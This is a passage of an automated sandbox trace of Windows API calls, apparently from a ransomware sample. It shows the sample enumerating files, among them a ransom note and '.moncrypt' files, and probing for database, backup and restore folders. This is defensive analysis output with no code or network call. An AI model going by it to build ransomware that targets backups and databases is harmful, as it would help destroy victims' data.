lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0055.064] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.064] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.064] GlobalUnlock (hMem=0x440004) returned 0 [0055.064] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.064] GlobalLock (hMem=0x44000c) returned 0x557b88 [0055.064] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.064] GlobalUnlock (hMem=0x440004) returned 0 [0055.064] GlobalHandle (pMem=0x557b88) returned 0x44000c [0055.064] GlobalUnlock (hMem=0x44000c) returned 0 [0055.064] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.064] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41fb28c0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x41fb28c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x41fd8a20, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0055.064] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0055.064] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0055.064] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.064] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.064] GlobalUnlock (hMem=0x44000c) returned 0 [0055.064] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.065] GlobalLock (hMem=0x440004) returned 0x557b88 [0055.065] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.065] GlobalUnlock (hMem=0x44000c) returned 0 [0055.065] GlobalHandle (pMem=0x557b88) returned 0x440004 [0055.065] GlobalUnlock (hMem=0x440004) returned 0 [0055.065] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.065] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9890c900, ftCreationTime.dwHighDateTime=0x1c82168, ftLastAccessTime.dwLowDateTime=0x54a7f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9890c900, ftLastWriteTime.dwHighDateTime=0x1c82168, nFileSizeHigh=0x0, nFileSizeLow=0x38200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ESEN.DLL", cAlternateFileName="")) returned 1 [0055.065] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0055.065] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0055.065] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.065] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.065] GlobalUnlock (hMem=0x440004) returned 0 [0055.065] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.065] GlobalLock (hMem=0x44000c) returned 0x557b88 [0055.065] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.065] GlobalUnlock (hMem=0x440004) returned 0 [0055.065] GlobalHandle (pMem=0x557b88) returned 0x44000c [0055.065] GlobalUnlock (hMem=0x44000c) returned 0 [0055.065] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.065] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22595900, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22595900, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xff8b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ESEN.ITS.moncrypt", cAlternateFileName="MSB1ES~1.MON")) returned 1 [0055.065] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0055.065] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0055.065] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.065] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.065] GlobalUnlock (hMem=0x44000c) returned 0 [0055.065] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.065] GlobalLock (hMem=0x440004) returned 0x557b88 [0055.065] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.065] GlobalUnlock (hMem=0x44000c) returned 0 [0055.066] GlobalHandle (pMem=0x557b88) returned 0x440004 [0055.066] GlobalUnlock (hMem=0x440004) returned 0 [0055.066] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.066] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8c79400, ftCreationTime.dwHighDateTime=0x1be6f42, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8c79400, ftLastWriteTime.dwHighDateTime=0x1be6f42, nFileSizeHigh=0x0, nFileSizeLow=0xa5cc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="WT61ES.LEX.moncrypt", cAlternateFileName="WT61ES~1.MON")) returned 1 [0055.066] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0055.066] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0055.066] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.066] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.066] GlobalUnlock (hMem=0x440004) returned 0 [0055.066] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.066] GlobalLock (hMem=0x44000c) returned 0x557b88 [0055.066] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.066] GlobalUnlock (hMem=0x440004) returned 0 [0055.066] GlobalHandle (pMem=0x557b88) returned 0x44000c [0055.066] GlobalUnlock (hMem=0x44000c) returned 0 [0055.066] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.066] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8c79400, ftCreationTime.dwHighDateTime=0x1be6f42, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8c79400, ftLastWriteTime.dwHighDateTime=0x1be6f42, nFileSizeHigh=0x0, nFileSizeLow=0xa5cc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="WT61ES.LEX.moncrypt", cAlternateFileName="WT61ES~1.MON")) returned 0 [0055.066] GetLastError () returned 0x12 [0055.066] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0055.067] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRAR", cAlternateFileName="")) returned 1 [0055.067] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0055.067] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0055.067] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.067] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.067] GlobalUnlock (hMem=0x44000c) returned 0 [0055.067] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.067] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.067] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.067] GlobalUnlock (hMem=0x44000c) returned 0 [0055.067] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.067] GlobalUnlock (hMem=0x440004) returned 0 [0055.067] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.067] GlobalLock (hMem=0x440004) returned 0x550170 [0055.067] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.067] GlobalUnlock (hMem=0x440004) returned 0 [0055.067] GlobalLock (hMem=0x440004) returned 0x550170 [0055.067] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.067] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.067] GlobalUnlock (hMem=0x440004) returned 0 [0055.067] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.067] GlobalUnlock (hMem=0x44000c) returned 0 [0055.067] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.067] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR", len=0x3c | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR") returned 1 [0055.067] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.067] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.068] GlobalUnlock (hMem=0x44000c) returned 0 [0055.068] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.068] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.068] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.068] GlobalUnlock (hMem=0x44000c) returned 0 [0055.068] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.068] GlobalUnlock (hMem=0x440004) returned 0 [0055.068] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a738, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@밢R믶R企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0055.069] GetLastError () returned 0x3 [0055.069] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\frar\\") returned 0x3d [0055.069] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0055.069] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 21 [0055.069] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a738, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="봬R䱠@뭼R企@\x18㿬Q\x181")) returned 0xffffffff [0055.070] GetLastError () returned 0x2 [0055.070] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\frar\\") returned 0x3d [0055.070] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0055.070] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0055.070] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a738, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="봬R䱠@뾴R企@\x18?T\x18;")) returned 0xffffffff [0055.070] GetLastError () returned 0x2 [0055.070] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\frar\\") returned 0x3d [0055.070] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a788, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0055.071] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0055.071] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a738, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="봬R䱠@뻜R企@\x18?T\x18D")) returned 0xffffffff [0055.071] GetLastError () returned 0x2 [0055.071] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\frar\\") returned 0x3d [0055.071] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a788, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0055.071] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0055.071] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a738, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="봬R䱠@뭼R企@\x18뾴R\x18j")) returned 0xffffffff [0055.071] GetLastError () returned 0x2 [0055.071] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\frar\\") returned 0x3d [0055.071] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0055.072] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0055.072] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a738, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="봬R䱠@뻜R企@\x18?T\x18q")) returned 0xffffffff [0055.072] GetLastError () returned 0x2 [0055.072] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\frar\\") returned 0x3d [0055.072] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a788, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\뾰RP") returned 6 [0055.072] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0055.072] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a738, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="봬R䱠@뱔R企@\x18?T\x18y")) returned 0xffffffff [0055.072] GetLastError () returned 0x2 [0055.073] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\frar\\") returned 0x3d [0055.073] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a788, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0055.073] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0055.073] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a738, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="봬R䱠@뭼R企@\x18?T\x18\x81")) returned 0xffffffff [0055.073] GetLastError () returned 0x2 [0055.073] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\frar\\") returned 0x3d [0055.073] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a788, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0055.073] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0055.073] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a738, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="봬R䱠@뻜R企@\x18?T\x18\x88")) returned 0xffffffff [0055.073] GetLastError () returned 0x2 [0055.074] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\frar\\") returned 0x3d [0055.074] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a788, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0055.074] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0055.074] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a738, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="봬R䱠@뱔R企@\x18?T\x18\x8f")) returned 0xffffffff [0055.074] GetLastError () returned 0x2 [0055.074] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\frar\\") returned 0x3d [0055.074] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a788, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0055.074] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0055.074] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a738, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="봬R䱠@뭼R企@\x18?T\x18\x97")) returned 0xffffffff [0055.074] GetLastError () returned 0x2 [0055.075] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\frar\\") returned 0x3d [0055.075] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a788, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0055.075] GlobalLock (hMem=0x440004) returned 0x550170 [0055.075] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.075] GlobalUnlock (hMem=0x440004) returned 0 [0055.075] GlobalLock (hMem=0x440004) returned 0x550170 [0055.075] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.075] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.075] GlobalUnlock (hMem=0x440004) returned 0 [0055.075] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.075] GlobalUnlock (hMem=0x44000c) returned 0 [0055.075] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\frar\\") returned 0x3d 